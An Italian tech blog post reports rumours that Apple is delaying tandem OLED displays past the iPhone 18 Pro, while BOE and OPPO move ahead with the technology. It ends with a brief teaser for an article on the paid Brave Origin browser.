Secondo il media coreano ETNews, Apple avrebbe deciso di non adottare il tandem OLED su iPhone 18 Pro, privilegiando invece la gestione termica del dispositivo. Con l’aumento delle elaborazioni AI e delle prestazioni gaming, il controllo delle temperature è diventato una priorità, e Apple ha scelto di concentrarsi su quello prima di introdurre nuove tecnologie display. La previsione è che il tandem OLED arrivi su iPhone non prima del 2028.

Nel frattempo, il produttore di pannelli cinese BOE starebbe preparando la produzione di massa di display tandem OLED per smartphone, e OPPO sarebbe il primo marchio in trattativa per adottarli su un suo modello flagship.

Un vantaggio competitivo reale


Se OPPO riuscisse effettivamente a portare il tandem OLED su uno dei suoi prossimi flagship — probabilmente un modello della serie Find X — si troverebbe in una posizione di vantaggio rispetto ad Apple su un fronte tecnologico di rilievo. Non è la prima volta che i produttori Android anticipano le scelte di Cupertino: già su ricarica rapida, fotocamere periscopiche e schemi multi-frame, il mondo Android ha fatto da apripista.

Resta da vedere quando e su quale dispositivo OPPO introdurrà questa tecnologia. Ma se i rumor si confermassero, il prossimo flagship del brand cinese potrebbe diventare il riferimento assoluto per la qualità del display tra gli smartphone.

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Brave Origin: il browser minimalista a pagamento di Brave (ma gratuito per Linux)


Brave Software ha annunciato il rilascio di Brave Origin, una nuova versione a pagamento di Brave browser pensata per gli utenti che non hanno bisogno di tutte le funzionalità che supportano Brave come azienda, ma desiderano comunque la privacy che Brave offre.
L'articolo Brave Origin: il browser minimalista a pagamento di Brave (ma gratuito per Linux) proviene da Marco's Box.

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